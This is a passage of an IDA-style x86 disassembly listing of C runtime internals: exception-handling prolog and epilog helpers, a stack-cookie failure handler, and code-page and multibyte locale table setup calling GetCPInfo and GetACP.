arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_40E98B
; ---------------------------------------------------------------------------

loc_40E95E:				; CODE XREF: sub_40E947+4Bj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40E968
		call	sub_416160

loc_40E968:				; CODE XREF: sub_40E947+1Aj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_40E980
		cmp	ecx, [eax+8]
		jle	short loc_40E985

loc_40E980:				; CODE XREF: sub_40E947+32j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40E98E

loc_40E985:				; CODE XREF: sub_40E947+37j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]

loc_40E98B:				; CODE XREF: sub_40E947+15j
		mov	[ebp+arg_0], esi

loc_40E98E:				; CODE XREF: sub_40E947+3Cj
		cmp	[ebp+arg_4], 0
		jge	short loc_40E95E
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_40E9A8
		cmp	esi, ebx
		jbe	short loc_40E9AD

loc_40E9A8:				; CODE XREF: sub_40E947+5Bj
		call	sub_416160

loc_40E9AD:				; CODE XREF: sub_40E947+5Fj
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E947	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9BA	proc near		; CODE XREF: sub_4157B8+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_40F87E
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_40F87E
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		retn
sub_40E9BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9E2	proc near		; CODE XREF: sub_4158DE+60p

arg_0		= dword	ptr  4

		call	sub_40F87E
		mov	eax, [eax+98h]
		jmp	short loc_40E9FA
; ---------------------------------------------------------------------------

loc_40E9EF:				; CODE XREF: sub_40E9E2+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_40EA00
		mov	eax, [eax+4]

loc_40E9FA:				; CODE XREF: sub_40E9E2+Bj
		test	eax, eax
		jnz	short loc_40E9EF
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40EA00:				; CODE XREF: sub_40E9E2+13j
		xor	eax, eax
		retn
sub_40E9E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA03	proc near		; CODE XREF: sub_4158DE+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_40F87E
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_40EA25
		call	sub_40F87E
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EA25:				; CODE XREF: sub_40EA03+10j
		call	sub_40F87E
		mov	eax, [eax+98h]
		jmp	short loc_40EA3B
; ---------------------------------------------------------------------------

loc_40EA32:				; CODE XREF: sub_40EA03+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_40EA47
		mov	eax, ecx

loc_40EA3B:				; CODE XREF: sub_40EA03+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40EA32
		pop	esi
		jmp	sub_416160
; ---------------------------------------------------------------------------

loc_40EA47:				; CODE XREF: sub_40EA03+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_40EA03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA4F	proc near		; CODE XREF: sub_4157B8+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423068
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_40E7A5
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4161B0
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_40EA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAAD	proc near		; CODE XREF: sub_401C3B+7p
					; sub_401E7B+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40EAAD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EAE0	proc near		; CODE XREF: sub_40209F+7p
					; sub_41576F+7p

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40EAE0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB16	proc near		; CODE XREF: sub_4085A6+Ap
					; .text:00408698p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, dword_423068
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40EB16	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB4C	proc near		; CODE XREF: sub_401C3B+2Dp
					; sub_401E7B+6Bp ...
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	ecx
		retn
sub_40EB4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB60	proc near		; CODE XREF: sub_4085A6:loc_408688p
					; .text:loc_4088CEp ...
		mov	ecx, [ebp-10h]
		xor	ecx, ebp
		call	sub_40AFEE
		jmp	sub_40EB4C
sub_40EB60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB6F	proc near		; CODE XREF: sub_40AFEE:loc_40AFF8j

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	dword_425C08, eax
		mov	dword_425C04, ecx
		mov	dword_425C00, edx
		mov	dword_425BFC, ebx
		mov	dword_425BF8, esi
		mov	dword_425BF4, edi
		mov	word_425C20, ss
		mov	word_425C14, cs
		mov	word_425BF0, ds
		mov	word_425BEC, es
		mov	word_425BE8, fs
		mov	word_425BE4, gs
		pushf
		pop	dword_425C18
		mov	eax, [ebp+0]
		mov	dword_425C0C, eax
		mov	eax, [ebp+4]
		mov	dword_425C10, eax
		lea	eax, [ebp+arg_0]
		mov	dword_425C1C, eax
		mov	eax, [ebp+var_320]
		mov	dword_425B58, 10001h
		mov	eax, dword_425C10
		mov	dword_425B0C, eax
		mov	dword_425B00, 0C0000409h
		mov	dword_425B04, 1
		mov	eax, dword_423068
		mov	[ebp+var_328], eax
		mov	eax, dword_42306C
		mov	[ebp+var_324], eax
		call	ds:off_41E0C0
		mov	dword_425B50, eax
		push	1
		call	sub_4122B5
		pop	ecx
		push	0
		call	ds:dword_41E1B0	; SetUnhandledExceptionFilter
		push	offset dword_41E3E8
		call	ds:off_41E1BC
		cmp	dword_425B50, 0
		jnz	short loc_40EC5F
		push	1
		call	sub_4122B5
		pop	ecx

loc_40EC5F:				; CODE XREF: sub_40EB6F+E6j
		push	0C0000409h
		call	ds:dword_41E0D0	; GetCurrentProcess
		push	eax
		call	ds:off_41E0F8
		leave
		retn
sub_40EB6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC73	proc near		; CODE XREF: sub_40EF9F+11Ep
					; sub_40EF9F+173p
		sub	eax, 3A4h
		jz	short loc_40EC9C
		sub	eax, 4
		jz	short loc_40EC96
		sub	eax, 0Dh
		jz	short loc_40EC90
		dec	eax
		jz	short loc_40EC8A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40EC8A:				; CODE XREF: sub_40EC73+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_40EC90:				; CODE XREF: sub_40EC73+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_40EC96:				; CODE XREF: sub_40EC73+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_40EC9C:				; CODE XREF: sub_40EC73+5j
		mov	eax, 411h
		retn
sub_40EC73	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ECA2	proc near		; CODE XREF: sub_40EF9F+2Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 101h
		mov	esi, eax
		push	ebp
		xor	edi, edi
		lea	ebx, [esi+1Ch]
		push	edi
		push	ebx
		call	sub_40CBA0
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		xor	eax, eax
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	eax, offset dword_423070
		add	esp, 0Ch
		sub	eax, esi

loc_40ECD5:				; CODE XREF: sub_40ECA2+3Aj
		mov	cl, [eax+ebx]
		mov	[ebx], cl
		inc	ebx
		dec	ebp
		jnz	short loc_40ECD5
		lea	ecx, [esi+11Dh]
		mov	esi, 100h

loc_40ECE9:				; CODE XREF: sub_40ECA2+4Ej
		mov	dl, [ecx+eax]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_40ECE9
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40ECA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=49Ch


sub_40ECF7	proc near		; CODE XREF: sub_40EF9F+141p

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-49Ch]
		sub	esp, 51Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+49Ch+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+49Ch+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	ds:dword_41E198	; GetCPInfo
		test	eax, eax
		mov	edi, 100h
		jz	loc_40EE1D
		xor	eax, eax

loc_40ED30:				; CODE XREF: sub_40ECF7+43j
		mov	[ebp+eax+49Ch+var_104],	al
		inc	eax
		cmp	eax, edi
		jb	short loc_40ED30
		mov	al, [ebp+49Ch+var_512]
		test	al, al
		mov	[ebp+49Ch+var_104], 20h
		jz	short loc_40ED75
		lea	ebx, [ebp+49Ch+var_511]

loc_40ED4D:				; CODE XREF: sub_40ECF7+7Cj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_40ED6D
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+49Ch+var_104]
		push	20h
		push	edx
		call	sub_40CBA0
		add	esp, 0Ch

loc_40ED6D:				; CODE XREF: sub_40ECF7+5Ej
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_40ED4D

loc_40ED75:				; CODE XREF: sub_40ECF7+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+49Ch+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	1
		push	0
		call	sub_4167B4
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_4165B9
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_4165B9
		add	esp, 24h
		xor	eax, eax

loc_40EDDC:				; CODE XREF: sub_40ECF7+122j
		movzx	ecx, [ebp+eax*2+49Ch+var_504]
		test	cl, 1
		jz	short loc_40EDF4
		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+49Ch+var_204]
		jmp	short loc_40EE05
; ---------------------------------------------------------------------------

loc_40EDF4:				; CODE XREF: sub_40ECF7+EDj
		test	cl, 2
		jz	short loc_40EE0E
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+49Ch+var_304]

loc_40EE05:				; CODE XREF: sub_40ECF7+FBj
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_40EE16
; ---------------------------------------------------------------------------

loc_40EE0E:				; CODE XREF: sub_40ECF7+100j
		mov	byte ptr [esi+eax+11Dh], 0

loc_40EE16:				; CODE XREF: sub_40ECF7+115j
		inc	eax
		cmp	eax, edi
		jb	short loc_40EDDC
		jmp	short loc_40EE6A
; ---------------------------------------------------------------------------

loc_40EE1D:				; CODE XREF: sub_40ECF7+31j
		lea	eax, [esi+11Dh]
		mov	[ebp+49Ch+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+49Ch+var_51C], eax

loc_40EE2F:				; CODE XREF: sub_40ECF7+171j
		mov	edx, [ebp+49Ch+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_40EE4F
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_40EE5E
; ---------------------------------------------------------------------------

loc_40EE4F:				; CODE XREF: sub_40ECF7+14Aj
		cmp	edx, 19h
		ja	short loc_40EE62
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h

loc_40EE5E:				; CODE XREF: sub_40ECF7+156j
		mov	[eax], dl
		jmp	short loc_40EE65
; ---------------------------------------------------------------------------

loc_40EE62:				; CODE XREF: sub_40ECF7+15Bj
		mov	byte ptr [eax],	0

loc_40EE65:				; CODE XREF: sub_40ECF7+169j
		inc	ecx
		cmp	ecx, edi
		jb	short loc_40EE2F

loc_40EE6A:				; CODE XREF: sub_40ECF7+124j
		mov	ecx, [ebp+49Ch+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 49Ch
		leave
		retn
sub_40ECF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE81	proc near		; CODE XREF: sub_40AFFD+57p
					; sub_40F14A+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421B08
		call	__SEH_prolog4
		call	sub_40F87E
		mov	edi, eax
		mov	eax, dword_423594
		test	[edi+70h], eax
		jz	short loc_40EEBB
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_40EEBB
		mov	esi, [edi+68h]

loc_40EEA7:				; CODE XREF: sub_40EE81+96j
		test	esi, esi
		jnz	short loc_40EEB3
		push	20h
		call	sub_411FAD
		pop	ecx

loc_40EEB3:				; CODE XREF: sub_40EE81+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40EEBB:				; CODE XREF: sub_40EE81+1Bj
					; sub_40EE81+21j
		push	0Dh
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, dword_423498
		jz	short loc_40EF0B
		test	esi, esi
		jz	short loc_40EEF3
		push	esi
		call	ds:dword_41E190	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40EEF3
		cmp	esi, offset dword_423070
		jz	short loc_40EEF3
		push	esi
		call	sub_40DBA6
		pop	ecx

loc_40EEF3:				; CODE XREF: sub_40EE81+56j
					; sub_40EE81+61j ...
		mov	eax, dword_423498
		mov	[edi+68h], eax
		mov	esi, dword_423498
		mov	[ebp+var_1C], esi
		push	esi
		call	ds:dword_41E194	; InterlockedIncrement

loc_40EF0B:				; CODE XREF: sub_40EE81+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EF1C
		jmp	short loc_40EEA7
sub_40EE81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF19	proc near		; DATA XREF: ev73vtp2:00421B20o
		mov	esi, [ebp-1Ch]
sub_40EF19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EF1C	proc near		; CODE XREF: sub_40EE81+91p
		push	0Dh
		call	sub_40FDFF
		pop	ecx
		retn
sub_40EF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF25	proc near		; CODE XREF: sub_40EF9F+19p
					; sub_40F14A+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		cmp	esi, 0FFFFFFFEh
		mov	dword_425E24, ebx
		jnz	short loc_40EF60
		mov	dword_425E24, 1
		call	ds:off_41E188

loc_40EF52:				; CODE XREF: sub_40EF25+50j
					; sub_40EF25+67j
		cmp	[ebp+var_4], bl
		jz	short loc_40EF9C
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40EF9C
; ---------------------------------------------------------------------------

loc_40EF60:				; CODE XREF: sub_40EF25+1Bj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_40EF77
		mov	dword_425E24, 1
		call	ds:dword_41E18C	; GetACP
		jmp	short loc_40EF52
; ---------------------------------------------------------------------------

loc_40EF77:				; CODE XREF: sub_40EF25+3Ej
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_40EF8E
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	dword_425E24, 1
		jmp	short loc_40EF52
; ---------------------------------------------------------------------------

loc_40EF8E:				; CODE XREF: sub_40EF25+55j
		cmp	[ebp+var_4], bl
		jz	short loc_40EF9A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EF9A:				; CODE XREF: sub_40EF25+6Cj
		mov	eax, esi

loc_40EF9C:				; CODE XREF: sub_40EF25+30j
					; sub_40EF25+39j
		pop	ebx
		leave
		retn
sub_40EF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF9F	proc near		; CODE XREF: sub_40F14A+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_40EF25
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+arg_0], edi
		jnz	short loc_40EFD6

loc_40EFC8:				; CODE XREF: sub_40EF9F+193j
		mov	eax, ebx
		call	sub_40ECA2

loc_40EFCF:				; CODE XREF: sub_40EF9F+146j
		xor	eax, eax
		jmp	loc_40F13B
; ---------------------------------------------------------------------------

loc_40EFD6:				; CODE XREF: sub_40EF9F+27j
		mov	[ebp+var_1C], esi
		xor	eax, eax

loc_40EFDB:				; CODE XREF: sub_40EF9F+4Fj
		cmp	dword_4234A0[eax], edi
		jz	short loc_40F04A
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_40EFDB
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	ds:dword_41E198	; GetCPInfo
		test	eax, eax
		jz	loc_40F12C
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40CBA0
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		cmp	[ebp+var_18], edx
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		jbe	loc_40F11F
		cmp	[ebp+var_12], 0
		jz	loc_40F100
		lea	esi, [ebp+var_11]

loc_40F034:				; CODE XREF: sub_40EF9F+15Bj
		mov	cl, [esi]
		test	cl, cl
		jz	loc_40F100
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_40F0F0
; ---------------------------------------------------------------------------

loc_40F04A:				; CODE XREF: sub_40EF9F+42j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40CBA0
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_4234B0[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_40F09A
; ---------------------------------------------------------------------------

loc_40F070:				; CODE XREF: sub_40EF9F+FEj
		mov	al, [esi+1]
		test	al, al
		jz	short loc_40F09F
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_40F091
; ---------------------------------------------------------------------------

loc_40F07F:				; CODE XREF: sub_40EF9F+F4j
		mov	eax, [ebp+var_20]
		mov	al, byte_42349C[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi

loc_40F091:				; CODE XREF: sub_40EF9F+DEj
		cmp	edi, eax
		jbe	short loc_40F07F
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi

loc_40F09A:				; CODE XREF: sub_40EF9F+CFj
					; sub_40EF9F+110j
		cmp	byte ptr [esi],	0
		jnz	short loc_40F070

loc_40F09F:				; CODE XREF: sub_40EF9F+D6j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_40F09A
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_40EC73
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_4234A4[ecx]
		pop	edx

loc_40F0D1:				; CODE XREF: sub_40EF9F+13Dj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_40F0D1

loc_40F0DE:				; CODE XREF: sub_40EF9F+18Bj
		mov	esi, ebx
		call	sub_40ECF7
		jmp	loc_40EFCF
; ---------------------------------------------------------------------------

loc_40F0EA:				; CODE XREF: sub_40EF9F+153j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax

loc_40F0F0:				; CODE XREF: sub_40EF9F+A6j
		cmp	eax, ecx
		jbe	short loc_40F0EA
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_40F034

loc_40F100:				; CODE XREF: sub_40EF9F+8Cj
					; sub_40EF9F+99j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh

loc_40F108:				; CODE XREF: sub_40EF9F+16Ej
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_40F108
		mov	eax, [ebx+4]
		call	sub_40EC73
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_40F122
; ---------------------------------------------------------------------------

loc_40F11F:				; CODE XREF: sub_40EF9F+82j
		mov	[ebx+8], esi

loc_40F122:				; CODE XREF: sub_40EF9F+17Ej
		xor	eax, eax
		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
		jmp	short loc_40F0DE
; ---------------------------------------------------------------------------

loc_40F12C:				; CODE XREF: sub_40EF9F+5Ej
		cmp	dword_425E24, esi
		jnz	loc_40EFC8
		or	eax, 0FFFFFFFFh

loc_40F13B:				; CODE XREF: sub_40EF9F+32j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_40EF9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F14A	proc near		; CODE XREF: sub_40F2E4+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040F2B6 SIZE 0000002E BYTES

		push	14h
		push	offset dword_421B28
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_40F87E
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_40EE81
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_40EF25
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_40F2D7
		push	220h
		call	sub_411E8A
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_40F2DB
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_40EF9F
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_40F2B6
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	ds:dword_41E190	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40F1DB
		mov	eax, [esi+68h]
		cmp	eax, offset dword_423070
		jz	short loc_40F1DB
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F1DB:				; CODE XREF: sub_40F14A+7Ej
					; sub_40F14A+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, ds:dword_41E194
		call	edi	; InterlockedIncrement
		test	byte ptr [esi+70h], 2
		jnz	loc_40F2DB
		test	byte ptr dword_423594, 1
		jnz	loc_40F2DB
		push	0Dh
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	dword_425E34, eax
		mov	eax, [ebx+8]
		mov	dword_425E38, eax
		mov	eax, [ebx+0Ch]
		mov	dword_425E3C, eax
		xor	eax, eax

loc_40F224:				; CODE XREF: sub_40F14A+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_40F23C
		mov	cx, [ebx+eax*2+10h]
		mov	word_425E28[eax*2], cx
		inc	eax
		jmp	short loc_40F224
; ---------------------------------------------------------------------------

loc_40F23C:				; CODE XREF: sub_40F14A+E0j
		xor	eax, eax

loc_40F23E:				; CODE XREF: sub_40F14A+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_40F255
		mov	cl, [eax+ebx+1Ch]
		mov	byte_423290[eax], cl
		inc	eax
		jmp	short loc_40F23E
; ---------------------------------------------------------------------------

loc_40F255:				; CODE XREF: sub_40F14A+FCj
		xor	eax, eax

loc_40F257:				; CODE XREF: sub_40F14A+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_40F271
		mov	cl, [eax+ebx+11Dh]
		mov	byte_423398[eax], cl
		inc	eax
		jmp	short loc_40F257
; ---------------------------------------------------------------------------

loc_40F271:				; CODE XREF: sub_40F14A+115j
		push	dword_423498
		call	ds:dword_41E190	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40F294
		mov	eax, dword_423498
		cmp	eax, offset dword_423070
		jz	short loc_40F294
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_40F294:				; CODE XREF: sub_40F14A+135j
					; sub_40F14A+141j
		mov	dword_423498, ebx
		push	ebx
		call	edi	; InterlockedIncrement
